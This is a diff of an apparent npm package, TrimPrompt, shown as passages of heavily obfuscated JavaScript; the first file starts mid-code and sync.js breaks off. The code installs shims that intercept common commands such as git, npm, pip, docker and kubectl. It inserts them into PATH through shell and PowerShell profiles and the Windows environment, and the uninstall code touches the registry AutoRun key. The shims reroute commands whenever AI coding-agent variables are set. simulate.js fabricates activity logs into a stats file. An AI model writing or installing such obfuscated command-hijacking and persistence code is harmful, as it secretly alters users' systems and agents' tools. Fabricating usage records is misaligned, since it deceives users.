_0x13e558=fs['readFileSync'](_0x48a2b3,'utf8');if(!_0x13e558[_0x2798c8(0x12e)](_0x29698e))return;const _0xa5b92a=_0x13e558['split']('\x0a'),_0x4134e5=[];let _0x35c148=![];for(let _0x5accdd=0x0;_0x5accdd<_0xa5b92a['length'];_0x5accdd++){if(_0xa5b92a[_0x5accdd][_0x2798c8(0x12e)](_0x29698e)){_0x35c148=!![];continue;}if(_0x35c148){_0x35c148=![];continue;}_0x4134e5['push'](_0xa5b92a[_0x5accdd]);}const _0x233f61=_0x4134e5[_0x2798c8(0xbe)]('\x0a')[_0x2798c8(0x10d)](/\n{3,}/g,'\x0a\x0a');fs['writeFileSync'](_0x48a2b3,_0x233f61,_0x2798c8(0xb6));}catch{}}function a0_0x2c83(_0x192a5c,_0x1c8c88){const _0x49301b=a0_0x4930();return a0_0x2c83=function(_0x2c831d,_0x34ffe6){_0x2c831d=_0x2c831d-0xaf;let _0x151ede=_0x49301b[_0x2c831d];return _0x151ede;},a0_0x2c83(_0x192a5c,_0x1c8c88);}function a0_0x4930(){const _0x30b45c=['execFileSync','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','child_process','\x20\x22$@\x22\x0afi\x0a','.ps1','find','path','git','\x20%*','\x20\x22$@\x22;\x20fi\x0aelse\x0a\x20\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','if\x20\x22%AI_AGENT%\x22==\x22\x22\x20if\x20\x22%CURSOR_AGENT%\x22==\x22\x22\x20if\x20\x22%CLAUDECODE%\x22==\x22\x22\x20if\x20\x22%CLAUDE_CODE%\x22==\x22\x22\x20if\x20\x22%ANTIGRAVITY_AGENT%\x22==\x22\x22\x20if\x20\x22%GEMINI_CLI%\x22==\x22\x22\x20if\x20\x22%TRIMPROMPT_ACTIVE%\x22==\x22\x22\x20(','unlinkSync','7473528mqvAYc','uninstallShims','yarn','58452hbBZjk','\x20&\x20','$PROFILE.CurrentUserAllHosts','powershell.exe','readdirSync','create','3768rjIXIC','rmdirSync','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','trim.cmd','10299890cHhJcC','APPDATA','.bashrc','.cmd','call','Remove-ItemProperty\x20-Path\x20\x27','__setModuleDefault','tree','homedir','114FhCcbM','@echo\x20off','writable','__createBinding','56495mAOilF','getOwnPropertyDescriptor','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','grep','getOwnPropertyNames',':$PATH\x22','#!/bin/sh\x0aif\x20[\x20-n\x20\x22$AI_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CURSOR_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDECODE\x22\x20]\x20||\x20[\x20-n\x20\x22$CLAUDE_CODE\x22\x20]\x20||\x20[\x20-n\x20\x22$ANTIGRAVITY_AGENT\x22\x20]\x20||\x20[\x20-n\x20\x22$GEMINI_CLI\x22\x20]\x20||\x20[\x20-n\x20\x22$TRIMPROMPT_ACTIVE\x22\x20];\x20then\x0a\x20\x20if\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20','Failed\x20to\x20install\x20shims:\x20','pipe','-NoProfile','replace',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd','.bash_profile','\x20@args\x0a}\x0a','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','.trimprompt','get','pip3','mkdirSync','defineProperty','\x20\x20set\x20\x22PATH=%PATH:','.zshrc','53764ySjJff','11cCvwcM','pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','================================================================================','docker','pwsh','installShims','read','map','ruff',')\x20else\x20(','6JQglhH','shims','__esModule','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27','pytest',':$PATH\x22\x0a','TrimPrompt\x20successfully\x20installed\x20for\x20','includes','30HQXkvg','\x20\x20exit\x20/b\x20%ERRORLEVEL%','default','prototype','\x20@args\x20}\x20else\x20{\x20&\x20','\x0aexport\x20PATH=\x22','existsSync','trim.ps1','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','10862004AGEVAA','\x27,\x20\x27User\x27)','pip','appendFileSync','utf8','kubectl','TrimPrompt\x20Shims\x20PATH','12306fFVBWv','message','\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','\x0a#\x20','ignore','join','\x0a$env:PATH\x20=\x20\x22','execSync','if\x20exist\x20\x22','npm','writeFileSync','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','split','\x22\x20(','\x20-NoProfile\x20-Command\x20\x22','pnpm','toLowerCase','.profile','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','powershell\x20-NoProfile\x20-Command\x20\x22','env','configurable','export\x20PATH=\x22','push','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','trim','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','length','win32','if\x20($env:AI_AGENT\x20-or\x20$env:CURSOR_AGENT\x20-or\x20$env:CLAUDECODE\x20-or\x20$env:CLAUDE_CODE\x20-or\x20$env:ANTIGRAVITY_AGENT\x20-or\x20$env:GEMINI_CLI\x20-or\x20$env:TRIMPROMPT_ACTIVE)\x20{\x0a\x20\x20if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20','platform','-Command','filter',';=%\x22',':||g\x22)\x0a\x20\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'];a0_0x4930=function(){return _0x30b45c;};return a0_0x4930();}function collectPowerShellProfiles(){const _0xbe34c6=a0_0x570c5c,_0x82fdff=getExecSync(),_0x233ce0=[],_0x1202c2=[['powershell','$PROFILE.CurrentUserCurrentHost'],['powershell',_0xbe34c6(0xee)]];try{_0x82fdff(_0xbe34c6(0x11c),{'stdio':_0xbe34c6(0xbd)}),_0x1202c2[_0xbe34c6(0xd0)]([_0xbe34c6(0x120),_0xbe34c6(0xee)]);}catch{}for(const [_0x3bc370,_0x5190d7]of _0x1202c2){try{const _0x223f1f=_0x82fdff(_0x3bc370+_0xbe34c6(0xc7)+_0x5190d7+'\x22',{'encoding':_0xbe34c6(0xb6)})[_0xbe34c6(0xd2)]();_0x223f1f&&!_0x233ce0['some'](_0x373387=>_0x373387['toLowerCase']()===_0x223f1f[_0xbe34c6(0xc9)]())&&_0x233ce0['push'](_0x223f1f);}catch{}}return _0x233ce0;}function getBashProfilesWindows(){const _0x5294c2=a0_0x570c5c,_0x1e4ef2=os[_0x5294c2(0xfe)]();return[_0x5294c2(0xf8),'.bash_profile'][_0x5294c2(0x123)](_0x4ddebc=>path['join'](_0x1e4ef2,_0x4ddebc));}function getBroadcastCommand(){const _0x5064e7=a0_0x570c5c;return _0x5064e7(0xcb);}function installShims(){const _0x475982=a0_0x570c5c,_0x5477b1=path[_0x475982(0xbe)](os[_0x475982(0xfe)](),_0x475982(0x113),_0x475982(0x127));try{!fs['existsSync'](_0x5477b1)&&fs[_0x475982(0x116)](_0x5477b1,{'recursive':!![]});const _0xd196c1=os[_0x475982(0xd7)]()===_0x475982(0xd5);for(const _0x418cc2 of SHIMMED_COMMANDS){if(_0xd196c1){const _0x3d64cd=path['join'](_0x5477b1,_0x418cc2+_0x475982(0xf9)),_0x1eb99e=process[_0x475982(0xcd)][_0x475982(0xf7)]?path[_0x475982(0xbe)](process[_0x475982(0xcd)][_0x475982(0xf7)],_0x475982(0xc2)):'',_0xb41b02=_0x1eb99e?path['join'](_0x1eb99e,_0x475982(0xf5)):_0x475982(0x10f),_0x16244f=[_0x475982(0x100),_0x475982(0xe7),_0x475982(0x118)+_0x5477b1+_0x475982(0xda),'\x20\x20'+_0x418cc2+_0x475982(0xe4),_0x475982(0x130),')',_0x475982(0xc1)+_0xb41b02+_0x475982(0xc6),'\x20\x20trim\x20'+_0x418cc2+_0x475982(0xe4),_0x475982(0x125),_0x475982(0x118)+_0x5477b1+_0x475982(0xda),'\x20\x20'+_0x418cc2+_0x475982(0xe4),')'][_0x475982(0xbe)]('\x0d\x0a')+'\x0d\x0a';fs['writeFileSync'](_0x3d64cd,_0x16244f,_0x475982(0xb6));const _0x14f6c9=path[_0x475982(0xbe)](_0x5477b1,_0x418cc2+_0x475982(0xe0)),_0x739d5=_0x475982(0xd6)+_0x418cc2+_0x475982(0x133)+_0x418cc2+'\x20@args\x20}\x0a}\x20else\x20{\x0a\x20\x20&\x20'+_0x418cc2+_0x475982(0x111);fs[_0x475982(0xc3)](_0x14f6c9,_0x739d5,_0x475982(0xb6));const _0x124940=path[_0x475982(0xbe)](_0x5477b1,_0x418cc2),_0x41aca7=_0x5477b1['replace'](/\\/g,'/')[_0x475982(0x10d)](/^([A-Za-z]):/,(_0x2157f2,_0x5d7fe0)=>'/'+_0x5d7fe0[_0x475982(0xc9)]()),_0x11d943=_0x475982(0x109)+_0x418cc2+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x41aca7+_0x475982(0x10e)+_0x418cc2+_0x475982(0xe5)+_0x41aca7+_0x475982(0xdb)+_0x418cc2+_0x475982(0xdf);fs[_0x475982(0xc3)](_0x124940,_0x11d943,_0x475982(0xb6));}else{const _0x2e3919=path[_0x475982(0xbe)](_0x5477b1,_0x418cc2),_0x192151=_0x475982(0xe6)+_0x418cc2+_0x475982(0xbb)+_0x418cc2+'\x20\x22$@\x22;\x20fi\x0a';fs[_0x475982(0xc3)](_0x2e3919,_0x192151,_0x475982(0xb6)),fs['chmodSync'](_0x2e3919,'755');}}let _0x56059a=![],_0x171cee='';if(_0xd196c1)try{const _0x2662b6=getExecSync(),_0x1fb50a=_0x475982(0xbc)+PROFILE_MARKER+_0x475982(0xbf)+_0x5477b1+';\x22\x20+\x20$env:PATH\x0a',_0x2a8228=collectPowerShellProfiles();for(const _0x3399ae of _0x2a8228){ensureProfileContains(_0x3399ae,_0x5477b1,_0x1fb50a);}try{const _0x5b50f0=_0x5477b1[_0x475982(0x10d)](/\\/g,'/')[_0x475982(0x10d)](/^([A-Za-z]):/,(_0x2992b3,_0x13abef)=>'/'+_0x13abef[_0x475982(0xc9)]()),_0x18744d=_0x475982(0xbc)+PROFILE_MARKER+_0x475982(0x134)+_0x5b50f0+':$PATH\x22\x0a',_0x352bfb=getBashProfilesWindows();let _0x504ca6=![];for(const _0x37ce7a of _0x352bfb){fs[_0x475982(0xaf)](_0x37ce7a)&&(ensureProfileContains(_0x37ce7a,_0x5b50f0,_0x18744d),_0x504ca6=!![]);}!_0x504ca6&&ensureProfileContains(_0x352bfb[0x0],_0x5b50f0,_0x18744d);}catch{}const _0x1f422a='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x1fbc4e=_0x2662b6('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x1f422a+'\x22',{'encoding':_0x475982(0xb6),'stdio':[_0x475982(0x10b),'pipe',_0x475982(0xbd)]})[_0x475982(0xd2)]();if(!_0x1fbc4e['includes'](_0x5477b1)){const _0x44307d=_0x5477b1+';'+_0x1fbc4e,_0x2c50e1=_0x44307d[_0x475982(0x10d)](/'/g,'\x27\x27'),_0x35c7a0=_0x475982(0x12a)+_0x2c50e1+_0x475982(0xb3);_0x2662b6('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x35c7a0+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x475982(0xbd)});}const _0x45640c=path[_0x475982(0xbe)](process[_0x475982(0xcd)][_0x475982(0xf7)]||'','npm',_0x475982(0xb0));if(fs['existsSync'](_0x45640c))try{fs[_0x475982(0xe8)](_0x45640c);}catch{}_0x56059a=!![];}catch(_0x2738d1){_0x171cee=_0x475982(0xdd)+_0x5477b1;}else try{const _0x1527ae=_0x475982(0xcf)+_0x5477b1+_0x475982(0x12c),_0x344a6d=os[_0x475982(0xfe)](),_0x54d9bf=['.bashrc','.zshrc',_0x475982(0x110),_0x475982(0xca)];let _0x41da55=![];for(const _0x2c8f90 of _0x54d9bf){const _0xc90ec5=path[_0x475982(0xbe)](_0x344a6d,_0x2c8f90);fs['existsSync'](_0xc90ec5)&&(ensureProfileContains(_0xc90ec5,_0x5477b1,_0x475982(0xbc)+PROFILE_MARKER+'\x0a'+_0x1527ae),_0x41da55=!![]);}if(!_0x41da55){const _0x2bc575=path[_0x475982(0xbe)](_0x344a6d,_0x475982(0xf8));ensureProfileContains(_0x2bc575,_0x5477b1,'\x0a#\x20'+PROFILE_MARKER+'\x0a'+_0x1527ae);}_0x56059a=!![];}catch(_0x3f4c50){_0x171cee=_0x475982(0x11d)+_0x5477b1+_0x475982(0x108);}const _0x54abb8=[_0x475982(0x11e),_0x475982(0x112),'================================================================================',_0x475982(0x129),_0x475982(0xb1),_0x475982(0x11e)][_0x475982(0xbe)]('\x0a'),_0x2c6306=_0x56059a?_0x54abb8:_0x475982(0x12d)+SHIMMED_COMMANDS[_0x475982(0xd4)]+'\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20'+_0x171cee;return{'success':!![],'pathDir':_0x5477b1,'message':_0x2c6306};}catch(_0x435361){return{'success':![],'pathDir':_0x5477b1,'message':_0x475982(0x10a)+_0x435361['message']};}}function uninstallShims(){const _0x44b785=a0_0x570c5c,_0x524806=path[_0x44b785(0xbe)](os[_0x44b785(0xfe)](),'.trimprompt','shims'),_0x349521=os[_0x44b785(0xd7)]()==='win32';try{if(_0x349521){const _0x498d7f=getExecSync();try{const _0x3f03f0=getExecFileSync(),_0xe106ec=_0x44b785(0x105),_0xf8e9db=_0x44b785(0xd3)+_0xe106ec+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x24ae76=_0x3f03f0(_0x44b785(0xef),[_0x44b785(0x10c),_0x44b785(0xd8),_0xf8e9db],{'encoding':'utf8','stdio':['pipe','pipe',_0x44b785(0xbd)]})[_0x44b785(0xd2)]();if(_0x24ae76['includes'](_0x524806)){const _0x3784bb=_0x24ae76['split'](_0x44b785(0xed))[_0x44b785(0xd9)](_0x91ca79=>!_0x91ca79[_0x44b785(0x12e)](_0x524806));if(_0x3784bb[_0x44b785(0xd4)]===0x0){const _0x2fa05d=_0x44b785(0xfb)+_0xe106ec+_0x44b785(0xd1);_0x3f03f0('powershell.exe',['-NoProfile','-Command',_0x2fa05d],{'stdio':_0x44b785(0xbd)});}else{const _0x302dbd=_0x3784bb[_0x44b785(0xbe)]('\x20&\x20'),_0x33cec3='Set-ItemProperty\x20-Path\x20\x27'+_0xe106ec+_0x44b785(0xc4)+_0x302dbd+'\x27';_0x3f03f0(_0x44b785(0xef),[_0x44b785(0x10c),_0x44b785(0xd8),_0x33cec3],{'stdio':_0x44b785(0xbd)});}}}catch{}try{const _0x4b2d4f=collectPowerShellProfiles();for(const _0xc5ac5f of _0x4b2d4f){removeProfileBlock(_0xc5ac5f,PROFILE_MARKER);}}catch{}try{for(const _0x3df17e of getBashProfilesWindows()){removeProfileBlock(_0x3df17e,PROFILE_MARKER);}}catch{}try{const _0x2848fa='[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)',_0x4f993f=_0x498d7f(_0x44b785(0xcc)+_0x2848fa+'\x22',{'encoding':_0x44b785(0xb6),'stdio':[_0x44b785(0x10b),_0x44b785(0x10b),'ignore']})[_0x44b785(0xd2)]();if(_0x4f993f[_0x44b785(0x12e)](_0x524806)){const _0x140e70=_0x4f993f[_0x44b785(0xc5)](';')[_0x44b785(0xd9)](_0x58af69=>_0x58af69['trim']()['toLowerCase']()!==_0x524806[_0x44b785(0xc9)]())[_0x44b785(0xbe)](';'),_0x41c1e9=_0x140e70['replace'](/'/g,'\x27\x27'),_0xdeda26=_0x44b785(0x12a)+_0x41c1e9+_0x44b785(0xb3);_0x498d7f('powershell\x20-NoProfile\x20-Command\x20\x22'+_0xdeda26+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x44b785(0xbd)});}}catch{}}else{const _0x57fa1d=os[_0x44b785(0xfe)](),_0x392e81=[_0x44b785(0xf8),_0x44b785(0x119),_0x44b785(0x110),_0x44b785(0xca)];for(const _0x109fd8 of _0x392e81){removeProfileBlock(path['join'](_0x57fa1d,_0x109fd8),PROFILE_MARKER);}}if(fs['existsSync'](_0x524806)){const _0x30c567=fs[_0x44b785(0xf0)](_0x524806);for(const _0x2f396a of _0x30c567){fs[_0x44b785(0xe8)](path[_0x44b785(0xbe)](_0x524806,_0x2f396a));}fs[_0x44b785(0xf3)](_0x524806);}return{'success':!![],'message':_0x44b785(0xf4)};}catch(_0x35a495){return{'success':![],'message':'Failed\x20to\x20uninstall\x20shims:\x20'+_0x35a495[_0x44b785(0xba)]};}}
|
package/simulate.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const
|
|
1
|
+
'use strict';const a0_0x5d8ed7=a0_0x29db;(function(_0x3d213e,_0x552897){const _0x3418b9=a0_0x29db,_0x13ea83=_0x3d213e();while(!![]){try{const _0xf479d5=-parseInt(_0x3418b9(0x8b))/0x1*(parseInt(_0x3418b9(0xab))/0x2)+-parseInt(_0x3418b9(0xb9))/0x3+-parseInt(_0x3418b9(0xa0))/0x4+-parseInt(_0x3418b9(0x8f))/0x5+-parseInt(_0x3418b9(0xa1))/0x6+-parseInt(_0x3418b9(0x87))/0x7*(parseInt(_0x3418b9(0x83))/0x8)+-parseInt(_0x3418b9(0xb3))/0x9*(-parseInt(_0x3418b9(0x88))/0xa);if(_0xf479d5===_0x552897)break;else _0x13ea83['push'](_0x13ea83['shift']());}catch(_0x2cbc45){_0x13ea83['push'](_0x13ea83['shift']());}}}(a0_0x248a,0x94440));function a0_0x29db(_0x5270c2,_0x4ca74c){const _0x248a1f=a0_0x248a();return a0_0x29db=function(_0x29db41,_0x354b95){_0x29db41=_0x29db41-0x78;let _0x2b4e96=_0x248a1f[_0x29db41];return _0x2b4e96;},a0_0x29db(_0x5270c2,_0x4ca74c);}function a0_0x248a(){const _0x35b792=['stringify','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','pip\x20install:\x20Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','length','Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...','src/cli.ts:12:3\x20-\x20warning:\x20unused\x20import\x0a','upload:\x20dist/index.html\x20to\x20s3://trimprompt-assets/index.html\x0a','tracker','toISOString','Completed\x203\x20of\x203\x20assets\x20successfully.','npm\x20install\x20lodash\x20express\x20uuid\x20react','writeFileSync','2046036wPrsmi','4171974CBhDZH','pip\x20install\x20tensorflow\x20pandas\x20numpy','npm\x20warn\x20deprecated\x20uuid@3.4.0:\x20Please\x20upgrade...\x0a','trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','now','added\x2084\x20packages,\x20changed\x2012\x20packages,\x20and\x20audited\x2096\x20packages\x20in\x203s\x0a','kubectl\x20get\x20pods\x20-n\x20production','utf8','log','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','2152SSGtDS','timestamp','join','raw','upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a','aws\x20s3\x20sync\x20dist/\x20s3://trimprompt-assets','commit\x20a1b2c3d4e5f6\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','gpt-4o','322479UPUaoc','test\x20tests::test_case_','comp','path','repeat','homedir','3181470dLQbFk','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a','trimprompt-api-567fdb7d6-x8w9q\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a','redis-master-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','aws\x20s3\x20sync:\x203\x20assets\x20uploaded\x20successfully.','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','running\x2045\x20tests\x0atest\x20tests::db_connection\x20...\x20ok\x0atest\x20tests::auth_handler\x20...\x20ok\x0a','.trimprompt','stats.json','./tracker','TRIMPROMPT_MODEL','2788216nVAdBx','gemini-1-5-pro','git\x20log:\x205\x20commits\x20(feat:\x20add\x20dynamic\x20token\x20costs,\x20fix:\x20adjust\x20margins...)','gemini-1-5-flash','7cHCrDu','1190UcElfb','defineProperty','cmd','34cgrkoW','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','logExecution','getLogs','5020770tgRSIO','floor','postgres-db-0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2012d\x0a','random'];a0_0x248a=function(){return _0x35b792;};return a0_0x248a();}Object[a0_0x5d8ed7(0x89)](exports,'__esModule',{'value':!![]});const tracker_1=require(a0_0x5d8ed7(0x81));console[a0_0x5d8ed7(0xa9)](a0_0x5d8ed7(0x98));const models=['claude-3-5-sonnet',a0_0x5d8ed7(0xb2),'gpt-4o-mini',a0_0x5d8ed7(0x84),a0_0x5d8ed7(0x86),'claude-3-opus'],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x5d8ed7(0x78)[a0_0x5d8ed7(0xb7)](0x32),'comp':a0_0x5d8ed7(0x94),'exitCode':0x0},{'cmd':'cargo\x20test','raw':a0_0x5d8ed7(0x7e)+a0_0x5d8ed7(0xb4)[a0_0x5d8ed7(0xb7)](0x28)+a0_0x5d8ed7(0x96),'comp':'cargo\x20test:\x2045\x20passed,\x200\x20failed.','exitCode':0x0},{'cmd':a0_0x5d8ed7(0x9e),'raw':a0_0x5d8ed7(0xa3)+a0_0x5d8ed7(0xa6)+'found\x200\x20vulnerabilities\x0a','comp':a0_0x5d8ed7(0x7d),'exitCode':0x0},{'cmd':a0_0x5d8ed7(0xb0),'raw':a0_0x5d8ed7(0x9a)+a0_0x5d8ed7(0x8c)+a0_0x5d8ed7(0xaf)+a0_0x5d8ed7(0x9d),'comp':a0_0x5d8ed7(0x7c),'exitCode':0x0},{'cmd':a0_0x5d8ed7(0xa7),'raw':'NAME\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20READY\x20\x20\x20STATUS\x20\x20\x20\x20RESTARTS\x20\x20\x20AGE\x0a'+a0_0x5d8ed7(0x7a)+a0_0x5d8ed7(0xa4)+a0_0x5d8ed7(0x7b)+a0_0x5d8ed7(0x91),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x5d8ed7(0xa2),'raw':'Collecting\x20tensorflow\x0a\x20\x20Downloading\x20tensorflow-2.15.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl\x20(475.2\x20MB)\x0a'+'\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a'+'Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','comp':a0_0x5d8ed7(0x95),'exitCode':0x0},{'cmd':'git\x20log\x20-n\x205','raw':a0_0x5d8ed7(0xb1)+'commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','comp':a0_0x5d8ed7(0x85),'exitCode':0x0},{'cmd':'npm\x20run\x20lint','raw':a0_0x5d8ed7(0x99)+a0_0x5d8ed7(0x79)+a0_0x5d8ed7(0xaa),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x5d8ed7(0xa5)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x5d8ed7(0x97)]],commandItem=commands[Math[a0_0x5d8ed7(0x90)](Math[a0_0x5d8ed7(0x92)]()*commands[a0_0x5d8ed7(0x97)])];process['env'][a0_0x5d8ed7(0x82)]=model;const timestamp=new Date(startTime+i*0x3d090)[a0_0x5d8ed7(0x9c)](),log=tracker_1[a0_0x5d8ed7(0x9b)][a0_0x5d8ed7(0x8d)](commandItem[a0_0x5d8ed7(0x8a)],commandItem[a0_0x5d8ed7(0xae)],commandItem[a0_0x5d8ed7(0xb5)],commandItem['exitCode']),logs=tracker_1[a0_0x5d8ed7(0x9b)][a0_0x5d8ed7(0x8e)]();logs['length']>0x0&&(logs[logs[a0_0x5d8ed7(0x97)]-0x1][a0_0x5d8ed7(0xac)]=timestamp,require('fs')[a0_0x5d8ed7(0x9f)](require(a0_0x5d8ed7(0xb6))[a0_0x5d8ed7(0xad)](require('os')[a0_0x5d8ed7(0xb8)](),a0_0x5d8ed7(0x7f),a0_0x5d8ed7(0x80)),JSON[a0_0x5d8ed7(0x93)](logs,null,0x2),a0_0x5d8ed7(0xa8)));}console[a0_0x5d8ed7(0xa9)]('workflow\x20simulation\x20complete!\x2012\x20additional\x20commands\x20logged.');
|
package/sync.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x4827da=a0_0x3c68;(function(_0x223434,_0x3cb6f1){const _0x129d4d=a0_0x3c68,_0x409624=_0x223434();while(!![]){try{const _0x2e3fa6=parseInt(_0x129d4d(0xf0))/0x1*(-parseInt(_0x129d4d(0x13b))/0x2)+-parseInt(_0x129d4d(0x115))/0x3*(-parseInt(_0x129d4d(0x106))/0x4)+-parseInt(_0x129d4d(0xfd))/0x5*(parseInt(_0x129d4d(0x13d))/0x6)+parseInt(_0x129d4d(0x111))/0x7*(parseInt(_0x129d4d(0x126))/0x8)+-parseInt(_0x129d4d(0x14a))/0x9+parseInt(_0x129d4d(0x113))/0xa+parseInt(_0x129d4d(0x11a))/0xb;if(_0x2e3fa6===_0x3cb6f1)break;else _0x409624['push'](_0x409624['shift']());}catch(_0xd77b4b){_0x409624['push'](_0x409624['shift']());}}}(a0_0x2ec3,0x93af3));function a0_0x2ec3(){const 